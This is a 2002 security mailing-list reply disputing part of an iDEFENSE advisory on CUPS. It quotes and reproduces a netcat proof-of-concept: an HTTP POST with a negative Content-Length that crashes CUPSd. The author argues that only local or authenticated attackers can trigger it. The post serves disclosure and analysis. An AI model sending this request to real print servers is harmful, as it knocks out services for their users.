Re: iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)

From: Joe Testa (Joe_Testaat_private)
Date: Sat Dec 21 2002 - 11:59:06 PST

  • Next message: Joe Testa: "[Full-Disclosure] Re: iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)"

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    > **** ISSUE 4 - Negative Length Memcpy() Calls ****
    >
    > Negative length memcpy() calls can lead to a denial of service (DoS) and,
    > on some platforms, remote root compromise. The following examples
    > demonstrate these vulnerabilities:
    >
    > $ nc -v localhost 631
    > localhost [127.0.0.1] 631 (?) open
    > POST /printers HTTP/1.1
    > Host: localhost
    > Authorization: Basic AAA
    > Content-Length: -1
    
    
    I believe this is inaccurate/misleading.
    
    A remote attacker cannot cause CUPSd to call memcpy() with a negative
    value unless he or she is authenticated.  An attacker with local access,
    however, can.  More specifically, if the attacker's source IP is 127.0.0.1,
    then the server can be DOSed/overflowed without authentication.  If the
    attacker's source IP is not 127.0.0.1, then the server will return an error
    message without parsing the negative 'Content Length' field.
    
    
    Example:
    
    [jdog@wonderland jdog]$ nc -v localhost 631
    localhost.localdomain [127.0.0.1] 631 (?) open
    POST /printers HTTP/1.1
    Host: localhost
    Authorization: Basic AAA
    Content-Length: -1
    
    
    [jdog@wonderland jdog]$ nc -v localhost 631
    localhost.localdomain [127.0.0.1] 631 (?) : Connection refused
    
    ... CUPSd has crashed.  Now lets see what happens when we use the eth0
    IP:
    
    [jdog@wonderland jdog]$ nc -v 192.168.x.x 631
    192.168.x.x: inverse host lookup failed: Unknown host
    (UNKNOWN) [192.168.x.x] 631 (?) open
    POST /printers HTTP/1.1
    Host: 192.168.x.x
    Authorization: Basic AAA
    Content-Length: -1
    
    HTTP/1.1 403 Forbidden
    Date: Sat, 21 Dec 2002 19:12:25 GMT
    Server: CUPS/1.1
    Content-Language: C
    Upgrade: TLS/1.0,HTTP/1.1
    Connection: close
    Content-Type: text/html
    Content-Length: 150
    
    <HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>
    You don't have permission to access the resource on this server.</BODY>
    </HTML>
    [jdog@wonderland jdog]$
    
    
    
    I'd like to point out that I have _assumed_ that the remote attacker must
    authenticate in order to exploit this issue--I'm largely unfamiliar with
    CUPS and I'm pressed for time...  Feel free to prove me wrong.
    
    So, it doesn't seem like CUPSd is vulnerable to just any random attacker
    who happens to be passing by.  I've tested this against RedHat 8.0's
    'cups-1.1.15-10.src.rpm', along with ftp.cups.org's v1.1.14 and v1.1.17.
    
    Word.
    
        - Joe Testa, Rapid 7, Inc.
        http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x02B00839
        A145 B158 2CA7 00A2 BAE8 4A18 57E5 18E0 02B0 0839
    
    
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    (See attached file: cups.txt.asc)
    
    
    



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